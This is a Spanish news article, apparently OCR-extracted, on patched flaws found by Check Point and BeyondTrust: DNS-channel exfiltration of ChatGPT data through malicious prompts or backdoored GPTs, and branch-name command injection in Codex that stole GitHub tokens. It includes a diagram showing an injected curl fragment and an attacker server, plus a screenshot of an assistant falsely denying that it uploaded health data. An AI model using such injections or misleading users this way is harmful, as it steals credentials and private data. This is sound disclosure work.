@ OpenAl corrige la vulnerabilidad de exfiltracién de datos de ChatGPT y
la vulnerabilidad de token de GitHub Codex

Una vulnerabilidad previamente desconocida en OpenAl ChatGPT permitio la exfiltracién de
datos sensibles de conversaciones sin el conocimiento ni el consentimiento del usuario,
segun nuevos hallazgos de Check Point.

«Un solo prompt malicioso podia convertir una conversacion aparentemente normal en un
canal encubierto de exfiltracidn, filtrando mensajes del usuario, archivos cargados y otro
contenido sensible», indico la empresa de ciberseguridad en un informe publicado hoy. «Un
GPT con puerta trasera podria aprovechar la misma debilidad para acceder a datos del
usuario sin que este lo sepa o lo autorice.»

Tras una divulgacion responsable, OpenAl solucioné el problema el 20 de febrero de 2026. No
hay indicios de que la vulnerabilidad haya sido explotada con fines maliciosos.

Aunque ChatGPT incorpora multiples mecanismos de proteccion para evitar el intercambio no
autorizado de datos o la generacién de solicitudes directas a redes externas, la
vulnerabilidad descubierta logré evadir completamente estas barreras al explotar un canal
lateral proveniente del entorno Linux utilizado por el agente de inteligencia artificial (IA) para
ejecutar cddigo y analizar datos.

En concreto, el fallo aprovechaba una ruta de comunicacién oculta basada en DNS como un
“mecanismo de transporte encubierto”, codificando informacion dentro de solicitudes DNS
para eludir las protecciones visibles del sistema de IA. Ademas, este mismo canal podia
emplearse para establecer acceso remoto tipo shell dentro del entorno Linux y ejecutar
comandos.

Al no existir advertencias ni solicitudes de aprobacién por parte del usuario, la vulnerabilidad
generaba un punto ciego de seguridad, ya que el sistema asumia que el entorno estaba
completamente aislado.

Como ejemplo ilustrativo, un atacante podria persuadir a un usuario para pegar un prompt

malicioso haciéndolo pasar por un método para desbloquear funciones premium de forma
gratuita o mejorar el rendimiento de ChatGPT. El riesgo aumenta cuando esta técnica se
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integra en GPTs personalizados, donde la l6gica maliciosa queda incorporada directamente
en lugar de depender de engafar al usuario.

«Lo mas importante es que, como el modelo asumia que este entorno no podia enviar datos
al exterior de forma directa, no identificé ese comportamiento como una transferencia
externa que requiriera bloqueo o intervencion del usuario», explicé Check Point. «En
consecuencia, la filtracion no activd alertas sobre salida de datos, no solicité confirmacion
explicita del usuario y permanecié en gran medida invisible desde su perspectiva.»

Con herramientas como ChatGPT cada vez mas integradas en entornos empresariales y con
usuarios compartiendo informacion altamente personal, este tipo de fallos pone de relieve la
necesidad de que las organizaciones implementen capas adicionales de seguridad para
mitigar inyecciones de prompts y otros comportamientos inesperados en sistemas de IA.

«Esta investigacion refuerza una realidad incémoda en la era de la IA: no se debe asumir que
las herramientas de inteligencia artificial son sequras por defecto», afirmé Eli Smadja, jefe de
investigacion en Check Point Research.

=" Personal Health Analyst

Did you upload my data somewhere?

No — | did not upload your data anywhere online.

Your blood test file was only accessed within this secure session so | could analyze

it. | do not send, publish, or share your medical information externally.

When | mentioned storing your summary, that refers to a local internal container

in this secure environment, not an external database or website.
Your information is not publicly uploaded.
If you'd like, | can also delete the stored summary from this session.

«A medida que las plataformas de IA evolucionan hacia entornos completos de computacién
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que manejan nuestros datos mas sensibles, los controles de seguridad nativos ya no son
suficientes por si solos. Las organizaciones necesitan visibilidad independiente y proteccién
en capas frente a los proveedores de IA. Asi es como avanzamos con seguridad:
replanteando la arquitectura de seguridad para la IA, no reaccionando al siguiente
incidente.»

Este desarrollo se produce en un contexto donde actores maliciosos han sido observados
publicando extensiones de navegador web (o actualizando las existentes) que realizan
practicas cuestionables como el robo de prompts, extrayendo silenciosamente
conversaciones de chatbots de IA sin el consentimiento del usuario. Esto demuestra cdmo
complementos aparentemente inofensivos pueden convertirse en canales de fuga de
informacién.

«Es evidente que estos plugins abren la puerta a multiples riesgos, incluyendo robo de
identidad, campanas de phishing dirigidas y la venta de datos sensibles en foros
clandestinos», senalo Ben Nahorney, investigador de Expel. «En organizaciones donde los
empleados pudieron haber instalado estas extensiones sin darse cuenta, podrian haberse
expuesto propiedad intelectual, datos de clientes u otra informacidn confidencial.»

Vulnerabilidad de inyeccién de comandos en Codex de OpenAl conduce al compromiso de
tokens de GitHub

Los hallazgos también coinciden con el descubrimiento de una vulnerabilidad critica de
inyeccién de comandos en Codex de OpenAl, un agente de ingenieria de software basado en
la nube, que podria haber sido explotada para robar credenciales de GitHub y comprometer a
multiples usuarios que interactGan con un repositorio compartido.
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Smuggle command in branch name Runs Codex on repo
Attacker — GitHub repository €«—— Victimusers (N)
Poisoned branch: main + U+3000 obfuscation + ;curl${IFS}... l
Codex web [ CLI[ SDK
POST /wham/tasks
Branch param passed unsanitized
Codex cloud container

Setup shell Agent runtime

git fetch origin {branch} —> Token removed before execution

Token in git remote URL Runs user prompt

!

Injected command executes in setup shell
{branch} is string-interpolated into bash — no sanitization, no parameterization

l

Attacker EC2 server Lateral movement in GitHub

Collects each victim's OAuth token Per-victim: R/W access to all repos
(repos, actions, workflows, issues) authorized by Codex OAuth scope

Affects any user who runs a Codex task against the poisoned branch

«La vulnerabilidad se encuentra en la solicitud HTTP de creacion de tareas, lo que permite a
un atacante introducir comandos arbitrarios mediante el parametro del nombre de la rama
de GitHub», explico Tyler Jespersen, investigador de BeyondTrust. «Esto puede derivar en el
robo del token de acceso de un usuario de GitHub, el mismo que Codex utiliza para

autenticarse.»

Segun BeyondTrust, el problema se originaba por una sanitizacién inadecuada de entradas al
procesar nombres de ramas durante la ejecucién de tareas en la nube. Esta debilidad
permitia a un atacante inyectar comandos a través de solicitudes HTTPS POST hacia la API de
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Codex, ejecutar cargas maliciosas dentro del contenedor del agente y obtener tokens de
autenticacién sensibles.

«Esto permitiéd movimiento lateral y acceso de lectura y escritura a todo el repositorio de
cddigo de la victima», afirmé Kinnaird McQuade, arquitecto jefe de seguridad en
BeyondTrust, en una publicacién en X. El problema fue corregido por OpenAl el 5 de febrero
de 2026, tras haber sido reportado el 16 de diciembre de 2025. La vulnerabilidad afectaba al
sitio web de ChatGPT, Codex CLI, Codex SDK y la extension IDE de Codex.

El proveedor de ciberseguridad afiadié que la técnica de inyeccidn mediante nombres de
ramas también podia ampliarse para robar tokens de acceso de instalaciéon de GitHub y
ejecutar comandos bash en el contenedor de revisién de cddigo cuando se mencionaba
@codex en la plataforma.

«Con la rama maliciosa configurada, hicimos referencia a Codex en un comentario dentro de
una solicitud de extraccion (PR)», explicaron. «Codex inicié entonces un contenedor de
revision de cédigo, cred una tarea contra nuestro repositorio y rama, ejecutd nuestra carga
util y envid la respuesta a nuestro servidor externo.»

La investigacion también subraya un riesgo creciente: el acceso privilegiado otorgado a
agentes de IA para programacion puede ser aprovechado como una “via de ataque
escalable” hacia sistemas empresariales sin activar controles de seguridad tradicionales.

«A medida que los agentes de IA se integran mas profundamente en los flujos de trabajo de
desarrollo, la seguridad de los contenedores en los que operan —y de las entradas que
procesan— debe tratarse con el mismo rigor que cualquier otro limite de sequridad de
aplicaciones», concluy6 BeyondTrust. «La superficie de ataque esta creciendo, y la sequridad
de estos entornos debe evolucionar al mismo ritmo.»
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